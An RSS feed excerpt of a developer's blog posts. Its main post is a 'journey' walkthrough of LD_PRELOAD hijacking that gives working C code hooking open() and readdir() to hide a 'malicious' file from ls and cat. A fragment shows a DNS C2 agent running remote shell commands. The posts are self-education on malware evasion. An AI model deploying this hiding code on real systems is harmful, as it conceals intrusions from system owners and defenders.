&lt;/p&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;go run ./agent/main.go
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Execute commands on the server side shell (In the case below simple &lt;code&gt;dir&lt;/code&gt;). Note that I type &lt;code&gt;cmd /C dir&lt;/code&gt; - &lt;a href="https://superuser.com/a/1246360"&gt;Why?&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&amp;lt;&lt;span class="o"&gt;((((&amp;gt;&lt;/span&gt; dns c2 by syl &amp;lt;&lt;span class="o"&gt;))))&amp;gt;&lt;/span&gt;&amp;lt;
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;dnsc2&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cmd /C &lt;span class="nb"&gt;dir&lt;/span&gt;
&lt;span class="go"&gt;Volume in drive C is OS
Volume Serial Number is XXXX-XXXX

Directory of C:\code\dnsc2\agent

&lt;/span&gt;&lt;span class="gp"&gt;10/28/2022  08:40 PM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="gp"&gt;10/29/2022  11:03 PM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;..
&lt;span class="go"&gt;10/28/2022  08:40 PM               481 go.mod
10/28/2022  08:40 PM             3,755 go.sum
10/30/2022  12:37 PM             1,762 main.go
            3 File(s)          5,998 bytes
            2 Dir(s)  107,561,959,424 bytes free
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Please note that there could be some easier ways to do this, and some information can be wrong I did my best to research everything that I post here, if you find an error or if you think that something can be improved somewhere you can drop me a message!&lt;/p&gt;

&lt;h1&gt;
  
  
  Resources
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat"&gt;https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/a/28918017"&gt;https://stackoverflow.com/a/28918017&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cloudflare.com/learning/dns/what-is-dns/"&gt;https://www.cloudflare.com/learning/dns/what-is-dns/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/"&gt;https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>dns</category>
      <category>hacking</category>
      <category>malware</category>
    </item>
    <item>
      <title>Dynamic Linker Hijacking Experiments - Evasive Techniques (Part 2)</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Sat, 08 Oct 2022 13:36:16 +0000</pubDate>
      <link>https://dev.to/syrull/dynamic-linker-hijacking-experiments-evasive-techniques-part-2-35jg</link>
      <guid>https://dev.to/syrull/dynamic-linker-hijacking-experiments-evasive-techniques-part-2-35jg</guid>
      <description>&lt;h2&gt;
  
  
  Journey Post
&lt;/h2&gt;

&lt;p&gt;This post is a something that I call "journey post", this follows my process of researching and implementing the solution for the problem (or the challenge). I will wrap/pre-fix parts of the post with html-like &lt;code&gt;&amp;lt;journey&amp;gt;&lt;/code&gt; so that you can skip it if you are in a hurry.&lt;/p&gt;



&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;In the last post I've described how I hid a file from all the sys calls that are using &lt;code&gt;readdir&lt;/code&gt;. In this post I will try to hide it from the &lt;code&gt;cat&lt;/code&gt; command. Let's first examine/reverse engineer how the &lt;code&gt;cat&lt;/code&gt; command works internally.&lt;/p&gt;

&lt;p&gt;Naturally I would start with a simple &lt;a href="https://man7.org/linux/man-pages/man1/strace.1.html"&gt;strace&lt;/a&gt; which will trace the system calls and signals that the command uses.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;which &lt;span class="nb"&gt;cat&lt;/span&gt;
&lt;span class="go"&gt;/usr/bin/cat
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;strace /usr/bin/cat syl.lys
&lt;span class="go"&gt;execve("/usr/bin/cat", ["/usr/bin/cat", "syl.lys"], 0x7ffca9c17508 /* 68 vars */) = 0
&lt;/span&gt;&lt;span class="c"&gt;...
&lt;/span&gt;&lt;span class="go"&gt;access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) // WINK WINK, not yet
&lt;/span&gt;&lt;span class="c"&gt;...
&lt;/span&gt;&lt;span class="go"&gt;openat(AT_FDCWD, "syl.lys", O_RDONLY) = 3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most interesting sys call in the output is &lt;code&gt;openat&lt;/code&gt; so lets see the source code of &lt;a href="https://github.com/coreutils/gnulib/blob/master/lib/openat.c#L182"&gt;openat.c&lt;/a&gt;. Here we can see the &lt;code&gt;char const *file&lt;/code&gt; that variable is what holds our filename (look at the &lt;code&gt;strace&lt;/code&gt; output). After that, I followed our steps in the last &lt;a href="https://dev.todynamic-linker-hijacking-experiments"&gt;post&lt;/a&gt; by implementing a function with the same signature and wrapping the original one. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;journey&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After a few tries I was quick to realize that there is some issue. The wrapper that I've implemented didn't work, or at least didn't work all the time. I've tested it out with a simple program that would just call it and in there it worked, I didn't quite get why it does what it does but I found the following discussions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/9161116/intercepting-the-openat-system-call-for-gnu-tar"&gt;intercepting the openat() system call for GNU tar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/49314057/how-to-find-out-what-functions-to-intercept-with-ld-preload"&gt;How to find out what functions to intercept with LD_PRELOAD?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As it turns out (my best guess) the sys call that I am trying to override &lt;code&gt;openat&lt;/code&gt; is probably not the one that the &lt;code&gt;cat&lt;/code&gt; uses. I decided to look at the source code for [cat.c][&lt;a href="https://github.com/coreutils/coreutils/blob/master/src/cat.c"&gt;https://github.com/coreutils/coreutils/blob/master/src/cat.c&lt;/a&gt;] and search for everything that has &lt;code&gt;*open*&lt;/code&gt; in it.&lt;/p&gt;

&lt;p&gt;I found on &lt;a href="https://github.com/coreutils/coreutils/blob/master/src/cat.c#L686"&gt;line 686&lt;/a&gt; a call to the &lt;code&gt;open&lt;/code&gt;. An important note here is that this &lt;code&gt;open&lt;/code&gt; call here is not the sys call but the call in the std lib which will call the related system call for us. So I've decided to change my approach and override the &lt;code&gt;open&lt;/code&gt; function instead.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;/journey&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;How does the &lt;a href="https://man7.org/linux/man-pages/man2/open.2.html"&gt;open function&lt;/a&gt; work? I wouldn't try to explain something that I am hardly good at so it is best for you to read the man pages for that one.&lt;/p&gt;

&lt;p&gt;Let's start by copying the signature of the &lt;a href="https://github.com/coreutils/gnulib/blob/master/lib/open.c#L59"&gt;open function&lt;/a&gt; and wrap it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;original_open&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;original_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dlsym&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RTLD_NEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;original_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this code block I've wrapped the original &lt;code&gt;open&lt;/code&gt; function with our implementation of the &lt;code&gt;open&lt;/code&gt; function. What is left now is to add our "malicious" part to it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MALICIOUS_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;errno&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ENOENT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Setting up the error to be ERROR NO ENTRY(ENOENT)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Returning -1 (failure)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And lastly all together&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/syrull/evasive_techniques/blob/main/Part_2_open/intercept_open.c"&gt;intercept_open.c&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define _GNU_SOURCE
&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;errno.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="cp"&gt;#define MALICIOUS_FILE "syl.lys"
&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;original_open&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;   
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MALICIOUS_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;errno&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ENOENT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;original_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dlsym&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RTLD_NEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;original_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's see if its working...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;intercept_open.so  syl.lys
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LD_PRELOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./intercept_open.so &lt;span class="nb"&gt;cat &lt;/span&gt;syl.lys
&lt;span class="go"&gt;cat: syl.lys: No such file or directory
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see the &lt;code&gt;cat&lt;/code&gt; command returns &lt;code&gt;No such file or directory&lt;/code&gt; which is exactly what we are aiming for.&lt;/p&gt;

&lt;h2&gt;
  
  
  Combining it with our &lt;code&gt;readdir&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;We created a malicious &lt;code&gt;open&lt;/code&gt; function that wraps the original one from the standard lib, lets now combine it with the &lt;code&gt;readdir&lt;/code&gt; from the previous post into a single shared object.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/syrull/evasive_techniques/blob/main/Part_2_open/malicious.c"&gt;malicious.c&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define _GNU_SOURCE
&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;errno.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;dirent.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="cp"&gt;#define MALICIOUS_FILE "syl.lys"
&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;original_open&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;dirent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;original_readdir&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;DIR&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;dirp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MALICIOUS_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;errno&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ENOENT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;original_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dlsym&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RTLD_NEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;original_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;dirent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;readdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DIR&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;dirp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;dirent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;original_readdir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dlsym&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RTLD_NEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"readdir"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;original_readdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dirp&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;d_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MALICIOUS_FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's test it out, supposedly we shouldn't get entries from &lt;code&gt;ls&lt;/code&gt; and &lt;code&gt;cat&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;touch &lt;/span&gt;syl.lys
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;intercept_open.c  malicious.c  malicious.so  syl.lys
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;LD_PRELOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./malicious.so
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;intercept_open.c  malicious.c  malicious.so  README.md
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;syl.lys
&lt;span class="go"&gt;cat: syl.lys: No such file or directory
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  End
&lt;/h1&gt;

&lt;p&gt;With that I am concluding this post, again if you reached here thank you so much it means a lot! In the next part I will get deeper and make our malicious file to be running and beaconing a malicious C2 server, we will look through some C2 communication examples using the DNS protocol so that we can remain under the radar(or the firewall ^^).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/syrull/evasive_techniques/tree/main/Part_2_open"&gt;Full Source Code&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Resources
&lt;/h1&gt;

&lt;p&gt;This post wouldn't be possible without:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-5.html"&gt;https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-5.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linux.die.net/man/2/openat"&gt;https://linux.die.net/man/2/openat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;And some kind StackOverflow users! &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>malware</category>
      <category>hacking</category>
      <category>linux</category>
      <category>devjournal</category>
    </item>
    <item>
      <title>Dynamic Linker Hijacking Experiments - Evasive Techniques (Part 1)</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Tue, 04 Oct 2022 19:42:22 +0000</pubDate>
      <link>https://dev.to/syrull/dynamic-linker-hijacking-experiments-evasive-techniques-part-1-4a94</link>
      <guid>https://dev.to/syrull/dynamic-linker-hijacking-experiments-evasive-techniques-part-1-4a94</guid>
      <description>&lt;h1&gt;
  
  
  Overview
&lt;/h1&gt;

